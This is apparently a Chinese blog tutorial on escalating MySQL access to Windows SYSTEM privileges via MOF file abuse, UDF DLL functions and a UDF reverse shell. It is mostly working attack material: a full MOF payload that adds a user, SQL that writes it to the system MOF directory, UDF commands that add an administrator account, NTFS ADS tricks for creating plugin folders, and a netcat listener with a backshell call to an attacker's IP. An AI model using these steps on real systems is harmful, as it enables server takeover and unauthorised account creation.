利用mysql的几种提权方式
利用mysql的几种提权方式
mof提权
1.原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
2.利用条件
- mysql用户具有root权限(对上面那个目录可写)
- 关闭了secure-file-priv
3.利用方式 下面是一段写好了的mof利用代码
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:
select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行完后,你可以在你的webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了。
注:经过我在win2003测试,没有成功利用。但是网上很多资料都提到win2003很容易利用,而更高版本的就很难成功了,所以大家遇到win2003可以试一下这种提权方式
udf提权
1.原理 UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
2.利用条件
- Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。
- Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32。
- 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
- 可以将udf.dll写入到相应目录的权限。
注:关于plugin目录,可在mysql中执行
show variables like '%plugin%';
进行查看,这个目录也就是dll文件需要导入的目录
3.利用方式
- 将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误
- 创建自定义函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
注意这里的函数名应该与dll文件中的函数名一致。
是不是感觉挺麻烦的,首先找dll文件就是一个问题,其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具,网络上有很多关于udf提权的利用脚本。
我用的这个脚本还不错
mark
下面是我使用udf拿下之前一台被管理员踢出去的主机的截图
mark
mark 成功添加了test用户到管理员组
mark 当然关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的,还好有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
上面的目录应该是相应的mysql目录,读者在测试时应该根据情况进行修改
注:udf提权也是一般应用于win2000、win2003系统
mysql反弹shell提权
其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin
目录。
注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的
- 然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
- 在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
- 最后就是执行backshell
select backshell("你的ip地址",12345);
mark 上图是我在win2003的测试结果,但是我是通过webshell将udf.dll导入plugin目录完成的
- 如果成功返回了shell则说明成功了,我们就可以添加用户了
- Andrew Ng机器学习课程笔记--week8(K-means&PCA)
- Andrew Ng机器学习课程笔记--week7(SVM)
- Pytorch windows10安装教程
- Udacity并行计算课程笔记-The GPU Programming Model
- DeepLearning.ai学习笔记(二)改善深层神经网络:超参数调试、正则化以及优化--Week2优化算法
- DeepLearning.ai学习笔记(二)改善深层神经网络:超参数调试、正则化以及优化--Week1深度学习的实用层面
- 通俗理解决策树中的熵&条件熵&信息增益
- KNN实现手写数字识别
- softmax分类算法原理(用python实现)
- DeepLearning.ai学习笔记(一)神经网络和深度学习--Week4深层神经网络
- 博客园自定义皮肤扁平化设计
- DeepLearning.ai学习笔记(四)卷积神经网络 -- week3 目标检测
- DeepLearning.ai学习笔记(四)卷积神经网络 -- week2深度卷积神经网络 实例探究
- DeepLearning.ai学习笔记(四)卷积神经网络 -- week1 卷积神经网络基础知识介绍
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- 一口气讲透一致性哈希(Hash),助力「码农变身」
- 在前端如何玩转 Word 文档
- DataGrid删除确认及Item颜色交替
- 详解Apache下.htaccess文件常用配置
- 你的模型需要解释(二)
- 算法工程师-SQL进阶:强大的Case表达式
- SOLID设计原则和我的一点个人感悟
- SpringBoot整合Freemarker使用
- Vm常见虚拟网络模式
- 设计模式 | 桥接模式
- Supervisor快速入门 | 使用Supervisor守护Nginx进程
- 技术选型的艺术---湖北技术价值分享会
- SpringBoot 配置文件编写及使用方式 (拒绝硬编码)
- Docker六脉神剑 (六) 1. Docker集群之Kubernetes(K8S) 了解k8s - 理论篇
- SpringBoot thymeleaf自定义错误页面